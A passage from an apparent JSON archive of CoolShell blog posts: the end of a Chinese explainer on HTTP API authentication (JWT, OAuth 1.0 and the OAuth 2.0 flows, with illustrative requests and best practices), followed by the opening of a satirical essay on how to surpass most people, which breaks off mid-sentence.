href=\"https://github.com/acquia/http-hmac-spec\" rel=\"noopener noreferrer\" target=\"_blank\">Acquia 的 HMAC</a>，<a href=\"https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=4_3\" rel=\"noopener noreferrer\" target=\"_blank\">微信的签名算法</a> （这里，我们需要说明一下，微信的API没有遵循HTTP协议的标准，把认证信息放在HTTP 头的 <code>Authorization</code> 里，而是放在body里）</p>\n<h4>JWT – JSON Web Tokens</h4>\n<p>JWT是一个比较标准的认证解决方案，这个技术在Java圈里应该用的是非常普遍的。JWT签名也是一种MAC（<a href=\"https://en.wikipedia.org/wiki/Message_authentication_code\" rel=\"noopener noreferrer\" target=\"_blank\">Message Authentication Code</a>）的方法。JWT的签名流程一般是下面这个样子：</p>\n<ol>\n<li>用户使用用户名和口令到认证服务器上请求认证。</li>\n<li>认证服务器验证用户名和口令后，以服务器端生成JWT Token，这个token的生成过程如下：\n<ul>\n<li>认证服务器还会生成一个 Secret Key（密钥）</li>\n<li>对JWT Header和 JWT Payload分别求Base64。在Payload可能包括了用户的抽象ID和的过期时间。</li>\n<li>用密钥对JWT签名 <code>HMAC-SHA256(SecertKey, Base64UrlEncode(JWT-Header)+'.'+Base64UrlEncode(JWT-Payload));</code></li>\n</ul>\n</li>\n<li>然后把 <code>base64(header).base64(payload).signature</code> 作为 JWT token返回客户端。</li>\n<li>客户端使用JWT Token向应用服务器发送相关的请求。这个JWT Token就像一个临时用户权证一样。</li>\n</ol>\n<p>当应用服务器收到请求后：</p>\n<ol>\n<li>应用服务会检查 JWT  Token，确认签名是正确的。</li>\n<li>然而，因为只有认证服务器有这个用户的Secret Key（密钥），所以，应用服务器得把JWT Token传给认证服务器。</li>\n<li>认证服务器通过JWT Payload 解出用户的抽象ID，然后通过抽象ID查到登录时生成的Secret Key，然后再来检查一下签名。</li>\n<li>认证服务器检查通过后，应用服务就可以认为这是合法请求了。</li>\n</ol>\n<p>我们可以看以，上面的这个过程，是在认证服务器上为用户动态生成 Secret Key的，应用服务在验签的时候，需要到认证服务器上去签，这个过程增加了一些网络调用，所以，JWT除了支持HMAC-SHA256的算法外，还支持RSA的非对称加密的算法。</p>\n<p>使用RSA非对称算法，在认证服务器这边放一个私钥，在应用服务器那边放一个公钥，认证服务器使用私钥加密，应用服务器使用公钥解密，这样一来，就不需要应用服务器向认证服务器请求了，但是，RSA是一个很慢的算法，所以，虽然你省了网络调用，但是却费了CPU，尤其是Header和Payload比较长的时候。所以，一种比较好的玩法是，如果我们把header 和 payload简单地做SHA256，这会很快，然后，我们用RSA加密这个SHA256出来的字符串，这样一来，RSA算法就比较快了，而我们也做到了使用RSA签名的目的。</p>\n<p>最后，我们只需要使用一个机制在认证服务器和应用服务器之间定期地换一下公钥私钥对就好了。</p>\n<p>这里强烈建议全文阅读 Anglar 大学的 《<a href=\"https://blog.angular-university.io/angular-jwt/\" rel=\"noopener noreferrer\" target=\"_blank\">JSW：The Complete Guide to JSON Web Tokens</a>》</p>\n<h4>OAuth 1.0</h4>\n<p>OAuth也是一个API认证的协议，这个协议最初在2006年由Twitter的工程师在开发OpenID实现的时候和社交书签网站Ma.gnolia时发现，没有一种好的委托授权协议，后来在2007年成立了一个OAuth小组，知道这个消息后，Google员工也加入进来，并完善有善了这个协议，在2007年底发布草案，过一年后，在2008年将OAuth放进了IETF作进一步的标准化工作，最后在2010年4月，正式发布OAuth 1.0，即：<a href=\"https://tools.ietf.org/html/rfc5849\" rel=\"noopener noreferrer\" target=\"_blank\">RFC 5849</a> （这个RFC比起TCP的那些来说读起来还是很轻松的），不过，如果你想了解其前身的草案，可以读一下 <a href=\"http://oauth.net/core/1.0a/\" rel=\"noopener noreferrer\" target=\"_blank\">OAuth Core 1.0 Revision A</a> ，我在下面做个大概的描述。</p>\n<p>根据RFC 5849，可以看到 OAuth 的出现，目的是为了，用户为了想使用一个第三方的网络打印服务来打印他在某网站上的照片，但是，用户不想把自己的用户名和口令交给那个第三方的网络打印服务，但又想让那个第三方的网络打印服务来访问自己的照片，为了解决这个授权的问题，OAuth这个协议就出来了。</p>\n<ul>\n<li>这个协议有三个角色：\n<ul>\n<li><strong>User（照片所有者-用户）</strong></li>\n<li><strong>Consumer（第三方照片打印服务）</strong></li>\n<li><strong>Service Provider（照片存储服务）</strong></li>\n</ul>\n</li>\n<li>这个协义有三个阶段：\n<ul>\n<li><strong>Consumer获取Request Token</strong></li>\n<li><strong>Service Provider 认证用户并授权Consumer</strong></li>\n<li><strong>Consumer获取Access Token调用API访问用户的照片</strong></li>\n</ul>\n</li>\n</ul>\n<p>整个授权过程是这样的：</p>\n<ol>\n<li>Consumer（第三方照片打印服务）需要先上Service Provider获得开发的 Consumer Key 和 Consumer Secret</li>\n<li>当 User 访问 Consumer 时，Consumer 向 Service Provide 发起请求请求Request Token （需要对HTTP请求签名）</li>\n<li>Service Provide 验明 Consumer 是注册过的第三方服务商后，返回 Request Token（<code>oauth_token</code>）和 Request Token Secret （<code>oauth_token_secret</code>）</li>\n<li>Consumer 收到 Request Token 后，使用HTTP GET 请求把 User 切到 Service Provide 的认证页上（其中带上Request Token），让用户输入他的用户和口令。</li>\n<li>Service Provider 认证 User 成功后，跳回 Consumer，并返回 Request Token （<code>oauth_token</code>）和 Verification Code（<code>oauth_verifier</code>）</li>\n<li>接下来就是签名请求，用Request Token 和 Verification Code 换取 Access Token （<code>oauth_token</code>）和 Access Token Secret (<code>oauth_token_secret</code>)</li>\n<li>最后使用Access Token 访问用户授权访问的资源。</li>\n</ol>\n<p>下图附上一个Yahoo!的流程图可以看到整个过程的相关细节。</p>\n<p><img alt=\"\" class=\"aligncenter size-full\" height=\"992\" src=\"../wp-content/uploads/2019/05/oauth_graph.gif\" width=\"660\"/></p>\n<p>因为上面这个流程有三方：User，Consumer 和 Service Provide，所以，又叫 3-legged flow，三脚流程。OAuth 1.0 也有不需要用户参与的，只有Consumer 和 Service Provider 的， 也就是 2-legged flow 两脚流程，其中省掉了用户认证的事。整个过程如下所示：</p>\n<ol>\n<li>Consumer（第三方照片打印服务）需要先上Service Provider获得开发的 Consumer Key 和 Consumer Secret</li>\n<li>Consumer 向 Service Provide 发起请求请求Request Token （需要对HTTP请求签名）</li>\n<li>Service Provide 验明 Consumer 是注册过的第三方服务商后，返回 Request Token（<code>oauth_token</code>）和 Request Token Secret （<code>oauth_token_secret</code>）</li>\n<li>Consumer 收到 Request Token 后，直接换取 Access Token （<code>oauth_token</code>）和 Access Token Secret (<code>oauth_token_secret</code>)</li>\n<li>最后使用Access Token 访问用户授权访问的资源。</li>\n</ol>\n<p>最后，再来说一说OAuth中的签名。</p>\n<ul>\n<li>我们可以看到，有两个密钥，一个是Consumer注册Service Provider时由Provider颁发的 Consumer Secret，另一个是 Token Secret。</li>\n<li>签名密钥就是由这两具密钥拼接而成的，其中用 <code>&amp;</code>作连接符。假设 Consumer Secret 为 <code>j49sk3j29djd</code> 而 Token Secret 为<code>dh893hdasih9</code>那个，签名密钥为：<code>j49sk3j29djd&amp;dh893hdasih9</code></li>\n<li>在请求Request/Access Token的时候需要对整个HTTP请求进行签名（使用HMAC-SHA1和HMAC-RSA1签名算法），请求头中需要包括一些OAuth需要的字段，如：\n<ul>\n<li><strong>Consumer Key</strong> ： 也就是所谓的AppID</li>\n<li><strong>Token</strong>： Request Token 或 Access Token</li>\n<li><strong>Signature Method</strong> ：签名算法比如：HMAC-SHA1</li>\n<li><strong>Timestamp</strong>：过期时间</li>\n<li><strong>Nonce</strong>：随机字符串</li>\n<li><strong>Call Back</strong>：回调URL</li>\n</ul>\n</li>\n</ul>\n<p>下图是整个签名的示意图：</p>\n<p><img alt=\"\" class=\"aligncenter size-full\" height=\"877\" src=\"../wp-content/uploads/2019/05/oauth_singature.png\" width=\"715\"/></p>\n<p>图片还是比较直观的，我就不多解释了。</p>\n<h4>OAuth 2.0</h4>\n<p>在前面，我们可以看到，从Digest Access， 到AppID+HMAC，再到JWT，再到OAuth 1.0，这些个API认证都是要向Client发一个密钥（或是用密码）然后用HASH或是RSA来签HTTP的请求，<strong>这其中有个主要的原因是，以前的HTTP是明文传输，所以，在传输过程中很容易被篡改，于是才搞出来一套的安全签名机制</strong>，所以，这些个认证的玩法是可以在HTTP明文协议下玩的。</p>\n<p>这种使用签名方式大家可以看到是比较复杂的，所以，对于开发者来说，也是很不友好的，在组织签名的那些HTTP报文的时候，各种，URLEncode和Base64，还要对Query的参数进行排序，然后有的方法还要层层签名，非常容易出错，另外，这种认证的安全粒度比较粗，授权也比较单一，对于有终端用户参与的移动端来说也有点不够。所以，在2012年的时候，OAuth 2.0 的 <a href=\"https://tools.ietf.org/html/rfc6749\" rel=\"noopener noreferrer\" target=\"_blank\">RFC 6749</a> 正式放出。</p>\n<p><strong>OAuth 2.0依赖于TLS/SSL的链路加密技术（HTTPS），完全放弃了签名的方式，认证服务器再也不返回什么 token secret 的密钥了，所以，OAuth 2.0是完全不同于1.0 的，也是不兼容的</strong>。目前，Facebook 的 Graph API 只支持OAuth 2.0协议，Google 和 Microsoft Azure 也支持Auth 2.0，国内的微信和支付宝也支持使用OAuth 2.0。</p>\n<p>下面，我们来重点看一下OAuth 2.0的两个主要的Flow：</p>\n<ul>\n<li>一个是Authorization Code Flow， 这个是 3 legged 的</li>\n<li>一个是Client Credential Flow，这个是 2 legged 的。</li>\n</ul>\n<h5><strong>Authorization Code Flow</strong></h5>\n<p>Authorization Code 是最常使用的OAuth 2.0的授权许可类型，它适用于用户给第三方应用授权访问自己信息的场景。这个Flow也是OAuth 2.0四个Flow中我个人觉得最完整的一个Flow，其流程图如下所示。</p>\n<p><img alt=\"\" class=\"aligncenter size-full\" height=\"505\" src=\"../wp-content/uploads/2019/05/auth_code_flow.png\" width=\"621\"/></p>\n<p> </p>\n<p>下面是对这个流程的一个细节上的解释：</p>\n<p>1）当用户（Resource Owner）访问第三方应用（Client）的时候，第三方应用会把用户带到认证服务器（Authorization Server）上去，主要请求的是 <code>/authorize</code> API，其中的请求方式如下所示。</p>\n<pre style=\"padding-left: 40px;\">https://login.authorization-server.com/authorize?\n        client_id=6731de76-14a6-49ae-97bc-6eba6914391e\n        &amp;response_type=code\n        &amp;redirect_uri=http%3A%2F%2Fexample-client.com%2Fcallback%2F\n        &amp;scope=read\n        &amp;state=xcoiv98CoolShell3kch</pre>\n<p style=\"padding-left: 40px;\">其中：</p>\n<ul>\n<li>\n<ul>\n<li><code>client_id</code>为第三方应用的App ID</li>\n<li><code>response_type=code</code>为告诉认证服务器，我要走Authorization Code Flow。</li>\n<li><code>redirect_uri</code>意思是我跳转回第三方应用的URL</li>\n<li><code>scope</code>意是相关的权限</li>\n<li><code>state</code> 是一个随机的字符串，主要用于防CSRF攻击。</li>\n</ul>\n</li>\n</ul>\n<p>2）当Authorization Server收到这个URL请求后，其会通过 <code>client_id</code>来检查 <code>redirect_uri</code>和 <code>scope</code>是否合法，如果合法，则弹出一个页面，让用户授权（如果用户没有登录，则先让用户登录，登录完成后，出现授权访问页面）。</p>\n<p>3）当用户授权同意访问以后，Authorization Server 会跳转回 Client ，并以其中加入一个 Authorization Code。 如下所示：</p>\n<pre style=\"padding-left: 40px;\">https://example-client.com/callback?\n        code=Yzk5ZDczMzRlNDEwYlrEqdFSBzjqfTG\n        &amp;state=xcoiv98CoolShell3kch</pre>\n<p style=\"padding-left: 40px;\">我们可以看到，</p>\n<ul>\n<li>\n<ul>\n<li>请流动的链接是第 1）步中的 <code>redirect_uri</code></li>\n<li>其中的 <code>state</code> 的值也和第 1）步的 <code>state</code>一样。</li>\n</ul>\n</li>\n</ul>\n<p>4）接下来，Client 就可以使用 Authorization Code 获得 Access Token。其需要向 Authorization Server 发出如下请求。</p>\n<pre style=\"padding-left: 40px;\">POST /oauth/token HTTP/1.1\nHost: authorization-server.com\n \ncode=Yzk5ZDczMzRlNDEwYlrEqdFSBzjqfTG\n&amp;grant_type=code\n&amp;redirect_uri=https%3A%2F%2Fexample-client.com%2Fcallback%2F\n&amp;client_id=6731de76-14a6-49ae-97bc-6eba6914391e\n&amp;client_secret=JqQX2PNo9bpM0uEihUPzyrh</pre>\n<p>5）如果没什么问题，Authorization 会返回如下信息。</p>\n<pre style=\"padding-left: 40px;\">{\n  \"access_token\": \"iJKV1QiLCJhbGciOiJSUzI1NiI\",\n  \"refresh_token\": \"1KaPlrEqdFSBzjqfTGAMxZGU\",\n  \"token_type\": \"bearer\",\n  \"expires\": 3600,\n  \"id_token\": \"eyJ0eXAiOiJKV1QiLCJhbGciO.eyJhdWQiOiIyZDRkM...\"\n}</pre>\n<p style=\"padding-left: 40px;\">其中，</p>\n<ul>\n<li>\n<ul>\n<li><code>access_token</code>就是访问请求令牌了</li>\n<li><code>refresh_token</code>用于刷新 <code>access_token</code></li>\n<li><code>id_token</code> 是JWT的token，其中一般会包含用户的OpenID</li>\n</ul>\n</li>\n</ul>\n<p>6）接下来就是用 Access Token 请求用户的资源了。</p>\n<pre style=\"padding-left: 40px;\">GET /v1/user/pictures\nHost: https://example.resource.com\n\nAuthorization: Bearer iJKV1QiLCJhbGciOiJSUzI1NiI</pre>\n<p> </p>\n<h5> Client Credential Flow</h5>\n<p>Client Credential 是一个简化版的API认证，主要是用于认证服务器到服务器的调用，也就是没有用户参与的的认证流程。下面是相关的流程图。</p>\n<p><img alt=\"\" class=\"aligncenter size-full\" height=\"414\" src=\"../wp-content/uploads/2019/05/client_credentials_flow.png\" width=\"549\"/></p>\n<p>这个过程非常简单，本质上就是Client用自己的 <code>client_id</code>和 <code>client_secret</code>向Authorization Server 要一个 Access Token，然后使用Access Token访问相关的资源。</p>\n<p>请求示例</p>\n<pre style=\"padding-left: 40px;\">POST /token HTTP/1.1\nHost: server.example.com\nContent-Type: application/x-www-form-urlencoded\n\ngrant_type=client_credentials\n&amp;client_id=czZCaGRSa3F0Mzpn\n&amp;client_secret=7Fjfp0ZBr1KtDRbnfVdmIw</pre>\n<p>返回示例</p>\n<pre style=\"padding-left: 40px;\">{\n  \"access_token\":\"MTQ0NjJkZmQ5OTM2NDE1ZTZjNGZmZjI3\",\n  \"token_type\":\"bearer\",\n  \"expires_in\":3600,\n  \"refresh_token\":\"IwOGYzYTlmM2YxOTQ5MGE3YmNmMDFkNTVk\",\n  \"scope\":\"create\"\n}</pre>\n<p>这里，容我多扯一句，微信公从平台的开发文档中，使用了OAuth 2.0 的 Client Credentials的方式（参看文档“<a href=\"https://mp.weixin.qq.com/wiki?t=resource/res_main&amp;id=mp1421140183\" rel=\"noopener noreferrer\" target=\"_blank\">微信公众号获取access token</a>”），我截了个图如下所谓。我们可以看到，<strong>微信公众号使用的是GET方式的请求，把AppID和AppSecret放在了URL中，虽然这也符合OAuth 2.0，但是并不好，因为大多数网关代理会把整个URI请求记到日志中。我们只要脑补一下腾讯的网关的Access Log，里面的日志一定会有很多的各个用户的AppID和AppSecret……</strong></p>\n<p><img alt=\"\" class=\"aligncenter size-large\" height=\"548\" src=\"../wp-content/uploads/2019/05/wechat.dev_-1024x876.png\" width=\"640\"/></p>\n<p> </p>\n<h4>小结</h4>\n<p>讲了这么多，我们来小结一下（下面的小结可能会有点散）</p>\n<h5>两个术语和三个概念</h5>\n<ul>\n<li>区分两个术语：Authentication（认证） 和 Authorization （授权），前者是证明请求者是身份，就像身份证一样，后者是为了获得权限。身份是区别于别人的证明，而权限是证明自己的特权。Authentication为了证明操作的这个人就是他本人，需要提供密码、短信验证码，甚至人脸识别。Authorization 则是不需要在所有的请求都需要验人，是在经过Authorization后得到一个Token，这就是Authorization。就像护照和签证一样。</li>\n<li>区分三个概念：编码Base64Encode、签名HMAC、加密RSA。Base64编码是为了更好的传输（没有怪异的字符，可以传输二进制文件），等同于明文，HMAC签名是为了信息不能被篡改，RSA加密是为了不让别人看到是什么信息。</li>\n</ul>\n<h5>明白一些初衷</h5>\n<ul>\n<li>使用复杂地HMAC哈希签名方式主要是应对当年没有TLS/SSL加密链路的情况。</li>\n<li>JWT把 <code>uid</code> 放在 Token中目的是为了去掉状态，但不能让用户修改，所以需要签名。</li>\n<li>OAuth 1.0区分了两个事，一个是第三方的Client，一个是真正的用户，其先拿Request Token，再换Access Token的方法主要是为了把第三方应用和用户区分开来。</li>\n<li>用户的Password是用户自己设置的，复杂度不可控，服务端颁发的Serect会很复杂，但主要目的是为了容易管理，可以随时注销掉。</li>\n<li>OAuth 协议有比所有认证协议有更为灵活完善的配置，如果使用AppID/AppSecret签名的方式，又需要做到可以有不同的权限和可以随时注销，那么你得开发一个像AWS的IAM这样的账号和密钥对管理的系统。</li>\n</ul>\n<h5>相关的注意事项</h5>\n<ul>\n<li>无论是哪种方式，我们都应该遵循HTTP的规范，把认证信息放在 <code>Authorization</code> HTTP 头中。</li>\n<li>不要使用GET的方式在URL中放入secret之类的东西，因为很多proxy或gateway的软件会把整个URL记在Access Log文件中。</li>\n<li>密钥Secret相当于Password，但他是用来加密的，最好不要在网络上传输，如果要传输，最好使用TLS/SSL的安全链路。</li>\n<li>HMAC中无论是MD5还是SHA1/SHA2，其计算都是非常快的，RSA的非对称加密是比较耗CPU的，尤其是要加密的字符串很长的时候。</li>\n<li>最好不要在程序中hard code 你的 Secret，因为在github上有很多黑客的软件在监视各种Secret，千万小心！这类的东西应该放在你的配置系统或是部署系统中，在程序启动时设置在配置文件或是环境变量中。</li>\n<li>使用AppID/AppSecret，还是使用OAuth1.0a，还是OAuth2.0，还是使用JWT，我个人建议使用TLS/SSL下的OAuth 2.0。</li>\n<li>密钥是需要被管理的，管理就是可以新增可以撤销，可以设置账户和相关的权限。最好密钥是可以被自动更换的。</li>\n<li>认证授权服务器（Authorization Server）和应用服务器（App Server）最好分开。</li>\n</ul>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21708.html\"><img alt=\"网络数字身份认证术\" height=\"150\" src=\"../wp-content/uploads/2022/01/iStock-1175502114-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21708.html\">网络数字身份认证术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18094.html\"><img alt=\"如何免费的让网站启用HTTPS\" height=\"150\" src=\"../wp-content/uploads/2017/08/enable-https-banner-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18094.html\">如何免费的让网站启用HTTPS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11021.html\"><img alt=\"从“黑掉Github”学Web安全开发\" height=\"150\" src=\"../wp-content/uploads/2014/02/Github-Security-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11021.html\">从“黑掉Github”学Web安全开发</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21003.html\"><img alt=\"计时攻击 Timing Attacks\" height=\"150\" src=\"../wp-content/uploads/2020/06/time-bomb-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21003.html\">计时攻击 Timing Attacks</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17607.html\"><img alt=\"从 MongoDB “赎金事件” 看安全问题\" height=\"150\" src=\"../wp-content/uploads/2017/01/MongoDB-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17607.html\">从 MongoDB “赎金事件” 看安全问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17066.html\"><img alt=\"关于移动端的钓鱼式攻击\" height=\"150\" src=\"../wp-content/uploads/2015/04/phishing-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17066.html\">关于移动端的钓鱼式攻击</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/19395.html\">HTTP API 认证授权术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2019-6-22 如何超过大多数人.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright\" height=\"200\" src=\"../wp-content/uploads/2019/06/competition-360x200.png\" width=\"360\"/>当你看到这篇文章的标题，你一定对这篇文章产生了巨大的兴趣，因为你的潜意识在告诉你，这是一本人生的“武林秘籍”，而且还是左耳朵写的，一定有干货满满，只要读完，一定可以练就神功并找到超过大多数人的快车道和捷径……然而…… 当你看到我这样开篇时，你一定会觉得我马上就要有个转折，告诉你这是不可能的，一切都需要付出和努力……然而，你错了，这篇文章还真就是一篇“秘籍”，只要你把这些“秘籍”用起来，你就一定可以超过大多数人。而且，这篇文章只有我这个“人生导师”可以写得好。毕竟，我的生命过到了十六进制2B的年纪，踏入这个社会已超过20年，舍我其谁呢？！</p>\n<p>P.S. 这篇文章借鉴于《<a href=\"https://coolshell.cn/articles/4758.html\" rel=\"noopener noreferrer\" target=\"_blank\">如何写出无法维护的代码</a>》一文的风格……嘿嘿</p>\n<h4>相关技巧和最佳实践</h4>\n<p>要超过别人其实还是比较简单的，尤其在今天的中国，更是简单。因为，你只看看中国的互联网，你就会发现，他们基本上全部都是在消费大众，让大众变得更为地愚蠢和傻瓜。<strong>所以，在今天的中国，你基本上不用做什么，只需要不使用中国互联网，你就很自然地超过大多数人了</strong>。当然，如果你还想跟他们彻底拉开，甩他们几个身位，把别人打到底层，下面的这些“技巧”你要多多了解一下。<span id=\"more-19464\"></span></p>\n<p>在信息获取上，你要不断地向大众鼓吹下面的这些事：</p>\n<ul>\n<li>让大家都用百度搜索引擎查找信息，订阅微信公众号或是到知乎上学习知识……要做到这一步，你就需要把“百度一下”挂在嘴边，然后要经常在群或朋友圈中转发微信公众号的文章，并且转发知乎里的各种“如何看待……”这样的文章，让他们爱上八卦，爱上转发，爱上碎片。</li>\n<li>让大家到微博或是知识星球上粉一些大咖，密切关注他们的言论和动向……是的，告诉大家，大咖的任何想法一言一行都可以在微博、朋友圈或是知识星球上获得，让大家相信，你的成长和大咖的见闻和闲扯非常有关系，你跟牛人在一个圈子里你也会变牛。</li>\n<li>把今日头条和抖音这样的APP推荐给大家……你只需要让你有朋友成功地安装这两个APP，他们就会花大量的时间在上面，而不能自拔，要让他们安装其实还是很容易的，你要不信你就装一个试玩一会看看（嘿嘿嘿）。</li>\n<li>让大家热爱八卦，八卦并不一定是明星的八卦，还可以是你身边的人，比如，公司的同事，自己的同学，职场见闻，社会热点，争议话题，……这些东西总有一些东西会让人心态有很多微妙的变化，甚至花大量的时间去搜索和阅读大量的观点，以及花大量时间与人辩论争论，这个过程会让人上瘾，让人欲罢不能，然而这些事却和自己没有半毛钱关系。你要做的事就是转发其中一些SB或是很极端的观点，造成大家的一睦讨论后，就早早离场……</li>\n<li>利用爱国主义，让大家觉得不用学英文，不要出国，不要翻墙，咱们已经是强国了……这点其实还是很容易做到的，因为学习是比较逆人性的，所以，只要你鼓吹那些英文无用论，出国活得更惨，国家和民族都变得很强大，就算自己过得很底层，也有大国人民的感觉。</li>\n</ul>\n<p>然后，在知识学习和技能训练上，让他们不得要领并产生幻觉</p>\n<ul>\n<li>让他们混淆认识和知识，以为开阔认知就是学习，让他们有学习和成长的幻觉……</li>\n<li>培养他们要学会使用碎片时间学习。等他们习惯利用碎片时间吃快餐后，他们就会失去精读一本书的耐性……</li>\n<li>不断地给他们各种各样“有价值的学习资料”，让他们抓不住重点，成为一个微信公众号或电子书“收藏家”……</li>\n<li>让他们看一些枯燥无味的基础知识和硬核知识，这样让他们只会用“死记硬背”的方式来学习，甚至直接让他们失去信心，直接放弃……</li>\n<li>玩具手枪是易用的，重武器是难以操控的，多给他们一些玩具，这样他们就会对玩具玩地得心应手，觉得玩玩具就是自己的专业……</li>\n<li>让他们喜欢直接得到答案的工作和学习方式，成为一个伸手党，从此学习再也不思考……</li>\n<li>告诉他们东西做出来就好了，不要追求做漂亮，做优雅，这样他们就会慢慢地变成劳动密集型……</li>\n<li>让他们觉得自己已经很努力了，剩下的就是运气，并说服他们去‘及时行乐’，然后再也找不到高阶和高效率学习的感觉……</li>\n<li>让他们觉得“读完书”、“读过书”就行了，不需要对书中的东西进行思考，进行总结，或是实践，只要囫囵吞枣尽快读完就等同于学好了……</li>\n</ul>\n<p>最后，在认知和格局上，彻底打垮他们，让他们变成韭菜。</p>\n<ul>\n<li>让他们尽可能地用拼命和加班，尽可能的996，并告诉他们这就是通往成功的唯一路径。这样一来，他们必然会被永远困在低端成为最低的劳动力。</li>\n<li>让他们不要看到大的形势，只看到眼前的一亩三分地，做好一个井底之蛙。其实这很简单，就是不要告诉他还有另外一种活法，不要扩大他的认识……</li>\n<li>宣扬一夜暴富以及快速挣钱的案例，最好让他们进入“赌博类”或是“传销类”的地方，比如：股市、数字货币……要让他们相信各种财富神话，相信他们就是那个幸运儿，他们也可以成为巴菲特，可以成为马云……</li>\n<li>告诉他们，一些看上去很难的事都是有捷径的，比如：21天就能学会机器学习，用区块链就能颠覆以及重构整个世界等等……</li>\n<li>多跟他们讲一些小人物的励志的故事，这样让他们相信，不需要学习高级知识，不需要掌握高级技能，只需要用低等的知识和低级的技能，再加上持续不断拼命重复现有的工作，终有一天就会成功……</li>\n<li>多让他们跟别人比较，人比人不会气死人，但是会让人变得浮躁，变得心急，变得焦虑，当一个人没有办法控制自己的情绪，没有办法让自己静下心来，人会失去耐性和坚持，开始好大喜欢功，开始装逼，开始歪门邪道剑走偏锋……</li>\n<li>让他们到体制内的一些非常稳定的地方工作，这样他们拥有不思进取、怕承担责任、害怕犯错、喜欢偷懒、得过且过的素质……</li>\n<li>让他们到体制外的那些喜欢拼命喜欢加班的地方工作，告诉他们爱拼才会赢，努力加班是一种福报，青春就是用来拼的，让他们喜欢上使蛮力的感觉……</li>\n<li>告诉他们你的行业太累太辛苦，干不到30岁。让他们早点转行，不要耽误人生和青春……</li>\n<li>当他们要做决定的时候，一定要让他们更多的关注自己会失去的东西，而不是会得到的东西。培养他们患得患失心态，让他们认识不到事物真正的价值，失去判断能力……（比如：让他们觉得跟对人拍领导的马屁忠于公司比自我的成长更有价值）</li>\n<li>告诉他们，你现有的技能和知识不用更新，就能过好一辈子，新出来的东西没有生命力的……这样他们就会像我们再也不学习的父辈一样很快就会被时代所抛弃……</li>\n<li>每个人都喜欢在一些自己做不到的事上找理由，这种能力不教就会，比如，事情太多没有时间，因为工作上没有用到，等等，你要做的就是帮他们为他们做不到的事找各种非常合理的理由，比如：没事的，一切都是最好的安排；你得不到的那个事没什么意思；你没有面好主要原因是那个面试官问的问题都是可以上网查得到的知识，而不没有问到你真正的能力上；这些东西学了不用很快会忘了，等有了环境再学也不迟……</li>\n</ul>\n<p><strong>最后友情提示一下，上述的这些“最佳实践”你要小心，是所谓，贩毒的人从来不吸毒，开赌场的人从来不赌博！所以，你要小心别自己也掉进去了！这就是“欲练神功，必先自宫”的道理。</strong></p>\n<h4>相关原理和思维模型</h4>\n<p>对于上面的这些技巧还有很多很多，你自己也可以发明或是找到很多。所以，我来讲讲这其中的一些原理。</p>\n<p>一般来说，超过别人一般来说就是两个维度：</p>\n<ol>\n<li><strong>在认知、知识和技能上</strong>。这是一个人赖以立足社会的能力（参看《<a href=\"https://coolshell.cn/articles/4235.html\" rel=\"noopener noreferrer\" target=\"_blank\">程序员的荒谬之言还是至理名言？</a>》和《<a href=\"https://coolshell.cn/articles/2250.html\" rel=\"noopener noreferrer\" target=\"_blank\">21天教你学会C++</a>》）</li>\n<li><strong>在领导力上</strong>。所谓领导力就是你跑在别人前面，你得要有比别人更好的能力更高的标准（参看《<a href=\"https://coolshell.cn/articles/17583.html\" rel=\"noopener noreferrer\" target=\"_blank\">技术人员发展之路</a>》）</li>\n</ol>\n<p>首先，我们要明白，人的技能是从认识开始，然后通过学校、培训或是书本把“零碎的认知”转换成“系统的知识”，而有要把知识转换成技能，就需要训练和实践，这样才能完成从：认识 -&gt; 知识 -&gt; 技能 